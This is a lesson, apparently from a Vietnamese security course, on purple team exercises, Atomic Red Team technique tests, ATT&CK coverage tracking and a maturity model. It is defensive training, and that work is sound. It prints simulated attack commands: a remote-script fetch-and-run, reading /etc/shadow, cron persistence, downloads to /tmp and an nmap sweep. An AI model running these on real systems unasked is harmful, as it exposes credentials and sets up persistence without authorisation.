1. Purple Team — Khái niệm
Purple Team = Red Team + Blue Team (Collaborative)
Traditional:
Red Team ──(attack)──▶ Blue Team ──(detect)──▶ Report
Problem: Adversarial, limited knowledge sharing
Purple Team:
Red Team ◄──(collaborate)──▶ Blue Team
│ │
├── Execute technique ├── Monitor detections
├── Share TTPs ├── Tune rules
├── Explain attack path ├── Improve coverage
└── Iterate together └── Validate detection
Benefits:
├── Real-time feedback loop
├── Faster detection improvement
├── Knowledge transfer between teams
├── Measurable security improvement
└── ATT&CK coverage tracking
Purple Team Roles:
Red: Execute ATT&CK techniques in controlled manner
Blue: Monitor, detect, and respond in real-time
Purple Lead: Coordinate, document, track coverage
2. Purple Team Exercise Framework
Purple Team Exercise Process:
Phase 1: Planning (1-2 days)
├── Select ATT&CK techniques to test
├── Define success criteria
├── Prepare detection baselines
├── Setup test environment
└── Schedule exercise windows
Phase 2: Execution (2-5 days)
For each technique:
├── Red: Execute technique
├── Blue: Monitor — detected? Y/N
├── If detected:
│ ├── Document detection source
│ ├── Measure time to detect
│ └── Assess alert quality
├── If NOT detected:
│ ├── Red explains technique details
│ ├── Blue creates new detection rule
│ └── Re-test to validate
└── Document results
Phase 3: Analysis (1-2 days)
├── Coverage report (ATT&CK heat map)
├── Detection gap analysis
├── False positive assessment
├── Prioritized improvement plan
└── Executive summary
Phase 4: Improvement (ongoing)
├── Implement new detections
├── Tune existing rules
├── Update playbooks
└── Schedule follow-up exercise
3. Atomic Red Team
# Atomic Red Team — MITRE ATT&CK technique tests
# https://github.com/redcanaryco/atomic-red-team
# Install Invoke-AtomicRedTeam (PowerShell)
# IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)
# Install-AtomicRedTeam -getAtomics
# --- Linux: Install atomics ---
git clone https://github.com/redcanaryco/atomic-red-team.git
cd atomic-red-team/atomics
# --- Execute specific technique ---
# T1053.003 — Cron Job Persistence
# Test: Create a cron job (simulated persistence)
echo "* * * * * /tmp/innocent_script.sh" | crontab -
# Verify detection: Check if SIEM alerted on crontab modification
crontab -r # Cleanup
# T1003.008 — /etc/passwd and /etc/shadow
cat /etc/passwd
cat /etc/shadow 2>/dev/null
# Verify detection: File access monitoring on sensitive files
# T1059.004 — Unix Shell
bash -c "whoami && id && uname -a"
# Verify detection: Shell execution logging
# T1105 — Ingress Tool Transfer
curl -o /tmp/test_download https://example.com/file
wget -q -O /tmp/test_download2 https://example.com/file
# Verify detection: Download from external source detected?
rm -f /tmp/test_download /tmp/test_download2 # Cleanup
# T1046 — Network Service Scanning
nmap -sS -p 1-1024 10.0.0.0/24 2>/dev/null
# Verify detection: Port scan detected by NDR/IDS?
# Purple Team Tracking Spreadsheet
# Track each ATT&CK technique test result
# technique_tracking.yaml
exercises:
- date: "2026-04-01"
technique_id: T1053.003
technique_name: "Cron — Scheduled Task"
tactic: Persistence
red_team_action: "Created cron job with reverse shell"
detected: true
detection_source: "Wazuh — Rule 100002"
time_to_detect: "45 seconds"
alert_quality: "High — clear description, correct MITRE mapping"
notes: "Detection working as expected"
- date: "2026-04-01"
technique_id: T1003.008
technique_name: "/etc/shadow Access"
tactic: Credential Access
red_team_action: "cat /etc/shadow from non-root user"
detected: false
detection_source: null
time_to_detect: null
alert_quality: null
notes: "DETECTION GAP — Need file integrity monitoring on /etc/shadow"
remediation:
- "Enable auditd rule for /etc/shadow access"
- "Create Sigma rule for shadow file read"
- "Add to Wazuh FIM configuration"
- date: "2026-04-02"
technique_id: T1003.008
technique_name: "/etc/shadow Access (Re-test)"
tactic: Credential Access
red_team_action: "cat /etc/shadow after new detection deployed"
detected: true
detection_source: "Auditd + Wazuh FIM"
time_to_detect: "12 seconds"
alert_quality: "Medium — could use more context"
notes: "Gap closed. Tune alert to include process tree."
4. ATT&CK Coverage Analysis
ATT&CK Detection Coverage Matrix:
Tactic │Techniques│Detected│Coverage
──────────────────────────┼──────────┼────────┼────────
Initial Access │ 9 │ 6 │ 67%
Execution │ 12 │ 9 │ 75%
Persistence │ 19 │ 12 │ 63%
Privilege Escalation │ 13 │ 8 │ 62%
Defense Evasion │ 42 │ 18 │ 43% ⚠️
Credential Access │ 17 │ 11 │ 65%
Discovery │ 31 │ 15 │ 48% ⚠️
Lateral Movement │ 9 │ 6 │ 67%
Collection │ 17 │ 7 │ 41% ⚠️
Command & Control │ 16 │ 10 │ 63%
Exfiltration │ 9 │ 4 │ 44% ⚠️
Impact │ 13 │ 9 │ 69%
──────────────────────────┼──────────┼────────┼────────
TOTAL │ 207 │ 115 │ 56%
Priority Gaps:
1. Defense Evasion (43%) — Need EDR, AMSI, ETW
2. Collection (41%) — File access monitoring
3. Exfiltration (44%) — DLP, DNS monitoring
4. Discovery (48%) — Internal recon detection
Target: 80% coverage within 6 months
5. Continuous Improvement Cycle
Purple Team Maturity Model:
Level 1 — Ad Hoc:
├── Annual pentest only
├── No structured detection testing
└── Reactive security
Level 2 — Repeatable:
├── Quarterly purple team exercises
├── ATT&CK coverage tracking started
└── Basic detection rules
Level 3 — Defined:
├── Monthly purple team exercises
├── Detection-as-Code (Sigma)
├── Automated validation (Atomic RT)
└── Coverage > 60%
Level 4 — Managed:
├── Continuous validation (BAS tools)
├── Detection pipeline (CI/CD for rules)
├── Threat-informed defense
└── Coverage > 80%
Level 5 — Optimized:
├── Real-time adversary emulation
├── AI-driven detection tuning
├── Proactive threat hunting program
└── Coverage > 90%, MTTD < 15 min
BAS Tools (Breach & Attack Simulation):
├── AttackIQ: Enterprise BAS platform
├── SafeBreach: Continuous validation
├── Vectr: Purple team tracking (free)
└── SCYTHE: Adversary emulation platform
6. Tổng kết
- Purple Team: Collaborative Red + Blue — faster security improvement
- Atomic Red Team: Open-source ATT&CK technique tests
- Coverage Tracking: ATT&CK heat map, technique-by-technique results
- Improvement Cycle: Test → Detect/Gap → Build Detection → Re-test
- Maturity: From ad-hoc pentests to continuous validation (BAS)
Bài tiếp theo sẽ khám phá Bug Bounty Methodologies.